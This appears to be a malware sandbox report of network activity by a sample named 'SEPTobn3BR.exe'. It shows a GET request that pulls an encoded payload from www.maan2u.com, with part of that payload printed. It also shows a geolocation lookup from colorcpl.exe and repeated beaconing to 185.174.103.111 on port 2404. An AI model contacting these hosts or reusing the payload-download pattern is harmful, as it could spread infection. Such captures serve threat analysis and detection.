Dec 19, 2024 08:00:26.703773975 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.703794003 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.703807116 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.703839064 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.754427910 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.754492044 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.754657984 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.754657984 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.754689932 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.754741907 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.761284113 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.761336088 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.761374950 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.761380911 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.761415005 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.761434078 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.768894911 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.768910885 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.768990040 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.768996954 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.769045115 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.775763035 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.775806904 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.775840044 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.775846958 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.775873899 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.775897026 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.783447981 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.783492088 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.783518076 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.783524990 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.783557892 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.783580065 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.806233883 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.806305885 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.806349039 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.806370974 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.806386948 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.806411982 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.812825918 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.812894106 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.812935114 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.812958002 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.812973022 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.812999010 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.895927906 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.895979881 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.896006107 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.896025896 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.896132946 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.946409941 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.946460009 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.946577072 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.946607113 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.946621895 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.946655035 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.953159094 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.953212976 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.953238010 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.953259945 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.953278065 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.953300953 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.960999966 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.961045027 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.961087942 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.961118937 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.961138010 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.961163044 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.968781948 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.968830109 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.968848944 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.968866110 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.968889952 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.968909979 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.975215912 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.975258112 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.975296021 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.975333929 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.975353956 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.975379944 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.998331070 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.998378038 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.998434067 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.998465061 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:26.998481989 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:26.998509884 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.005047083 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.005106926 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.005125999 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.005152941 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.005172968 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.005193949 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.088139057 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.088207960 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.088288069 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.088324070 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.088355064 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.088366985 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.138792992 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.138866901 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.138923883 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.138957977 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.138973951 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.138993979 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.145411968 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.145457029 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.145493031 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.145519018 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.145534039 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.145558119 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.153117895 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.153181076 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.153223038 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.153249025 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.153269053 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.153290987 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.160749912 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.160815001 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.160856962 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.160882950 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.160903931 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.160923958 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.168585062 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.168629885 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.168663979 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.168689966 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.168711901 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.168735027 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.190980911 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.191052914 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.191071987 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.191095114 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.191128016 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.191137075 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.197417974 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.197473049 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.197504044 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.197532892 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.197555065 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.197596073 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.280524969 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.280553102 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.280642986 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.280670881 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.280692101 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.280710936 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.331006050 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.331106901 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.331140041 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.331197023 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.333503962 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.333534956 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:27.333548069 CET	49710	443	192.168.2.7	103.82.231.117
Dec 19, 2024 08:00:27.333554983 CET	443	49710	103.82.231.117	192.168.2.7
Dec 19, 2024 08:00:29.377974987 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:29.497589111 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:29.497673035 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:29.505328894 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:29.624953985 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:30.722357035 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:30.775131941 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:30.954401970 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:30.959130049 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:31.078645945 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:31.078728914 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:31.198342085 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:31.622945070 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:31.626928091 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:31.747153997 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:31.814809084 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:31.956137896 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:32.523672104 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:00:32.643455982 CET	80	49736	178.237.33.50	192.168.2.7
Dec 19, 2024 08:00:32.643541098 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:00:32.643743992 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:00:32.763173103 CET	80	49736	178.237.33.50	192.168.2.7
Dec 19, 2024 08:00:33.886032104 CET	80	49736	178.237.33.50	192.168.2.7
Dec 19, 2024 08:00:33.888987064 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:00:33.915844917 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:00:34.035494089 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:00:34.886523008 CET	80	49736	178.237.33.50	192.168.2.7
Dec 19, 2024 08:00:34.886631012 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:01:01.977451086 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:01:01.979393959 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:01:02.099296093 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:01:32.336896896 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:01:32.340327024 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:01:32.459883928 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:02:02.680717945 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:02:02.682646990 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:02:02.802248955 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:02:22.342350006 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:02:22.732583046 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:02:23.435697079 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:02:24.732760906 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:02:27.232574940 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:02:32.232608080 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:02:33.015441895 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:02:33.020251989 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:02:33.140219927 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:02:41.920125008 CET	49736	80	192.168.2.7	178.237.33.50
Dec 19, 2024 08:03:03.414673090 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:03:03.432121992 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:03:03.551640987 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:03:33.774501085 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:03:33.783910036 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:03:33.903618097 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:04:04.086796999 CET	2404	49725	185.174.103.111	192.168.2.7
Dec 19, 2024 08:04:04.088151932 CET	49725	2404	192.168.2.7	185.174.103.111
Dec 19, 2024 08:04:04.207717896 CET	2404	49725	185.174.103.111	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:00:21.470062971 CET	63210	53	192.168.2.7	1.1.1.1
Dec 19, 2024 08:00:22.326508045 CET	53	63210	1.1.1.1	192.168.2.7
Dec 19, 2024 08:00:32.362943888 CET	57675	53	192.168.2.7	1.1.1.1
Dec 19, 2024 08:00:32.518511057 CET	53	57675	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:00:21.470062971 CET	192.168.2.7	1.1.1.1	0xc9c4	Standard query (0)	www.maan2u.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:32.362943888 CET	192.168.2.7	1.1.1.1	0x8005	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:00:18.212495089 CET	1.1.1.1	192.168.2.7	0x7731	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 08:00:18.212495089 CET	1.1.1.1	192.168.2.7	0x7731	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:22.326508045 CET	1.1.1.1	192.168.2.7	0xc9c4	No error (0)	www.maan2u.com	maan2u.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 08:00:22.326508045 CET	1.1.1.1	192.168.2.7	0xc9c4	No error (0)	maan2u.com		103.82.231.117	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:32.518511057 CET	1.1.1.1	192.168.2.7	0x8005	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.maan2u.com

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49736	178.237.33.50	80	7920	C:\Windows\SysWOW64\colorcpl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:00:32.643743992 CET	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Dec 19, 2024 08:00:33.886032104 CET	1171	IN	HTTP/1.1 200 OK date: Thu, 19 Dec 2024 07:00:33 GMT server: Apache content-length: 963 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7503", "geoplugin_longitude":"-74.0014", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49710	103.82.231.117	443	7648	C:\Users\user\Desktop\SEPTobn3BR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:00:24 UTC	168	OUT	GET /docs/233_Emxwenemixg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: www.maan2u.com
2024-12-19 07:00:25 UTC	365	IN	HTTP/1.1 200 OK Connection: close last-modified: Tue, 17 Dec 2024 23:16:52 GMT accept-ranges: bytes content-length: 1129840 date: Thu, 19 Dec 2024 07:00:24 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 51 45 68 41 6b 44 68 77 66 46 67 34 51 45 43 45 6b 49 51 38 53 45 78 30 6a 4a 78 6b 68 46 79 45 5a 46 77 34 64 45 79 45 6b 47 42 6f 4f 48 68 51 62 44 78 4d 65 45 69 55 55 48 68 55 58 45 79 63 66 4a 52 77 63 46 43 55 6e 4a 69 41 66 47 77 34 69 46 78 34 65 49 78 51 54 44 69 63 61 48 42 51 6a 4a 42 41 52 4a 79 41 57 46 52 4d 53 4a 77 38 6e 47 51 38 6b 70 71 36 6c 57 53 4f 6e 73 55 74 51 47 69 55 6b 45 68 73 53 47 68 59 6c 46 4b 61 75 70 56 6b 6a 70 37 46 4c 77 37 33 44 7a 38 48 48 30 73 6e 42 77 38 76 48 6a 46 61 42 51 45 41 76 6a 76 68 67 36 72 30 58 49 67 4b 74 35 61 37 66 44 53 49 2b 53 73 37 41 79 55 6a 57 37 76 7a 58 76 30 6d 36 37 37 37 31 36 31 75 70 38 6d 52 4d 73 69 39 58 39 76 4f 42 56 38 49 6c 53 2f 6e 55 4b 51 75 Data Ascii: pq6lWSOnsUsQEhAkDhwfFg4QECEkIQ8SEx0jJxkhFyEZFw4dEyEkGBoOHhQbDxMeEiUUHhUXEycfJRwcFCUnJiAfGw4iFx4eIxQTDicaHBQjJBARJyAWFRMSJw8nGQ8kpq6lWSOnsUtQGiUkEhsSGhYlFKaupVkjp7FLw73Dz8HH0snBw8vHjFaBQEAvjvhg6r0XIgKt5a7fDSI+Ss7AyUjW7vzXv0m6777161up8mRMsi9X9vOBV8IlS/nUKQu
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 47 2b 6a 77 35 72 6a 67 77 39 39 77 37 6e 7a 6b 6d 2f 42 4f 35 31 58 66 57 74 78 62 33 74 37 70 38 39 2f 65 38 30 62 6d 4d 64 34 79 2b 37 6a 79 4b 4f 63 6f 37 4f 62 75 78 4d 36 2f 76 6a 2f 61 78 4a 65 2f 45 35 63 67 55 78 4a 36 49 57 63 6f 62 42 53 42 46 49 46 62 69 43 73 49 4b 31 6b 70 37 68 77 7a 4b 54 51 72 2f 42 63 6c 57 79 63 6f 46 68 6a 78 48 76 6f 6b 74 68 36 66 4b 61 41 6f 71 68 66 4c 48 73 63 61 7a 78 2f 58 4a 33 45 6d 63 79 68 67 49 58 45 6e 6d 78 75 55 49 49 41 6f 68 52 4e 2b 48 50 38 66 56 52 59 4a 47 6c 67 58 44 53 66 37 45 2f 41 67 4c 68 64 49 57 7a 77 54 4f 69 49 56 4a 78 73 54 49 52 4d 64 4b 2b 39 62 35 31 75 76 4b 70 30 62 6e 43 71 34 57 38 30 5a 30 43 62 4f 4b 73 73 61 76 79 52 78 48 70 63 6b 55 79 63 47 4b 6b 63 5a 45 53 50 65 46 2b 55 Data Ascii: G+jw5rjgw99w7nzkm/BO51XfWtxb3t7p89/e80bmMd4y+7jyKOco7ObuxM6/vj/axJe/E5cgUxJ6IWcobBSBFIFbiCsIK1kp7hwzKTQr/BclWycoFhjxHvokth6fKaAoqhfLHscazx/XJ3EmcyhgIXEnmxuUIIAohRN+HP8fVRYJGlgXDSf7E/AgLhdIWzwTOiIVJxsTIRMdK+9b51uvKp0bnCq4W80Z0CbOKssavyRxHpckUycGKkcZESPeF+U
2024-12-19 07:00:25 UTC	16384	IN	Data Raw: 30 34 7a 48 77 51 6d 56 76 64 58 46 77 38 36 38 76 63 50 50 76 73 66 53 79 62 37 44 77 38 7a 51 7a 4d 4b 39 77 64 44 4f 32 73 76 4d 79 73 7a 4c 79 73 48 51 77 63 7a 50 79 38 72 42 30 62 2f 4a 77 72 37 52 77 74 69 2f 30 63 66 4b 76 74 72 4e 32 4d 66 48 77 4e 6a 61 32 63 7a 53 78 73 48 53 79 74 48 52 30 62 2b 2b 77 64 58 46 78 37 2f 52 7a 38 4f 38 31 64 50 4a 79 4d 47 39 32 73 4c 56 78 4d 4c 50 76 4c 33 43 7a 37 37 48 74 73 6d 2b 73 6b 57 6b 30 44 4f 49 35 38 45 32 6c 76 50 4c 71 43 58 4f 79 38 71 72 30 4d 48 4f 2b 4d 72 4b 6f 54 47 76 79 62 42 4a 71 4d 4c 72 4d 4b 50 48 74 52 32 64 7a 64 69 32 78 38 41 72 6c 37 33 4d 30 70 4f 2b 7a 63 72 52 30 63 36 2f 76 73 48 61 78 63 65 2f 7a 73 2f 44 76 4e 72 54 79 63 69 2b 76 64 72 43 32 73 54 43 7a 38 4f 39 77 38 2b Data Ascii: 04zHwQmVvdXFw868vcPPvsfSyb7Dw8zQzMK9wdDO2svMyszLysHQwczPy8rB0b/Jwr7Rwti/0cfKvtrN2MfHwNja2czSxsHSytHR0b++wdXFx7/Rz8O81dPJyMG92sLVxMLPvL3Cz77Htsm+skWk0DOI58E2lvPLqCXOy8qr0MHO+MrKoTGvybBJqMLrMKPHtR2dzdi2x8Arl73M0pO+zcrR0c6/vsHaxce/zs/DvNrTyci+vdrC2sTCz8O9w8+
